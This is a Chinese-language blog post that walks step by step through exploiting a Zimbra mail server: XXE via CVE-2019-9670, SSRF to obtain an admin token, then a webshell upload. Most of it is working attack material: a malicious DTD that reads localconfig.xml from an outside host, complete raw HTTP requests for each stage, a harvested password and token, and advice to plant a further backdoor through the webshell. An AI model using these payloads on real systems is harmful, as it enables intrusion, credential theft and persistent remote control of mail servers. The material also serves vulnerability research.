2019 年 3 月 13 号, 一名国外的安全研究员在他的博客上公布了 zimbra RCE 漏洞相关信息, 但其中并未提到一些漏洞利用细节.
经过一段时间努力, 根据网上各位大牛的分析和我自己的理解, 在此我将整个漏洞的利用过程进行复现.
第一步: 利用 XXE 读取配置文件
这里利用了 CVE-2019-9670 漏洞来读取配置文件, 你需要在自己的 VPS 服务器上放置一个 dtd 文件, 并使该文件能够通过 HTTP 访问. 为了演示, 我在 GitHub 上创建了一个仓库, 从 GitHub 上获取 dtd 文件.
上图中用红框圈起来的就是 zimbra 账号的密码, 先记下来以后会用到.
dtd 文件内容如下:
- <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
- <!ENTITY % start "<![CDATA[">
- <!ENTITY % end "]]>">
- <!ENTITY % all "<!ENTITY fileContents'%start;%file;%end;'>">
POST 请求包如下:
- POST /Autodiscover/Autodiscover.xml HTTP/1.1
- Host: mail.****.com
- User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: https://mail.****.com/zimbra/
- Content-Type: application/SOAP+xml
- Content-Length: 436
- Connection: close
- Cookie: ZM_TEST=true
- Upgrade-Insecure-Requests: 1
- <!DOCTYPE Autodiscover [
- <!ENTITY % dtd SYSTEM "http://192.168.3.5/dtd">
- %dtd;
- %all;
- ]>
- <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
- <Request>
- <EMailAddress>aaaaa</EMailAddress>
- <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
- </Request>
- </Autodiscover>
第二步: 获取低权限 token
从上图可以看到已经获取到 token, 但该 token 不是管理员权限的 token, 暂时记下来以后要用.
POST 请求包如下:
- POST /service/SOAP HTTP/1.1
- Host: mail.****.com
- User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0
- Accept: text/HTML,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: https://mail.****.com/zimbra/
- Content-Type: application/SOAP+xml
- Content-Length: 467
- Connection: close
- Cookie: ZM_TEST=true
- Upgrade-Insecure-Requests: 1
- <SOAP:Envelope xmlns:SOAP="http://www.w3.org/2003/05/soap-envelope">
- <SOAP:Header>
- <context xmlns="urn:zimbra">
- <userAgent name="ZimbrawebClient" version="5.0.15_GA_2851"/>
- </context>
- </SOAP:Header>
- <SOAP:Body>
- <AuthRequest xmlns="urn:zimbraAccount">
- <account by="adminName">zimbra</account>
- <password>GzXaU76_s5</password>
- </AuthRequest>
- </SOAP:Body>
- </SOAP:Envelope>
第三步, 利用 SSRF 获取 admin 权限 token
将上一步获取到了低权限 token 添加到 cookie 中, 将 xmlns="urn:zimbraAccount" 修改为 xmlns="urn:zimbraAdmin", 在 Host 字段末尾添加 ":7071",URL 中的 target 要使用 https 协议. 然后发送请求即可获得 admin 权限的 token.
POST 请求包如下:
- POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1
- Host: mail.****.com:7071
- User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0
- Accept: text/HTML,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: https://mail.****.com/zimbra/
- Content-Type: application/SOAP+xml
- Content-Length: 465
- Connection: close
- Cookie: ZM_ADMIN_AUTH_TOKEN=0_5221766f264e4dcb78b4f67be5f839b1ed668da3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343733303133353638333b747970653d363a7a696d6272613b7469643d393a3735353034333637323b
- Upgrade-Insecure-Requests: 1
- <SOAP:Envelope xmlns:SOAP="http://www.w3.org/2003/05/soap-envelope">
- <SOAP:Header>
- <context xmlns="urn:zimbra">
- <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851"/>
- </context>
- </SOAP:Header>
- <SOAP:Body>
- <AuthRequest xmlns="urn:zimbraAdmin">
- <account by="adminName">zimbra</account>
- <password>GzXaU76_s5</password>
- </AuthRequest>
- </SOAP:Body>
- </SOAP:Envelope>
第四步, 上传 webshell
将上一步获取的 admin 权限 token 添加到 cookie 中, 然后上传 webshell.
Webshell 路径为 / downloads/k4x6p.jsp, 访问该 webshell 时需要在 cookie 中添加 admin_toke.
你可以利用此 webshell 在其他无需 cookie 即可访问的目录里创建一个可用菜刀连接的小马.
我主要做了一些整理工作, 感谢网上各位大佬写的分析文章.
参考链接:
- https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
- https://blog.csdn.net/fnmsd/article/details/88657083
- http://www.cnvd.org.cn/flaw/show/CNVD-2019-07448
- http://www.cnvd.org.cn/flaw/download?cd=20f07bbf4fc4769b606a52a0d14f79dd
来源: http://www.bubuko.com/infodetail-3041299.html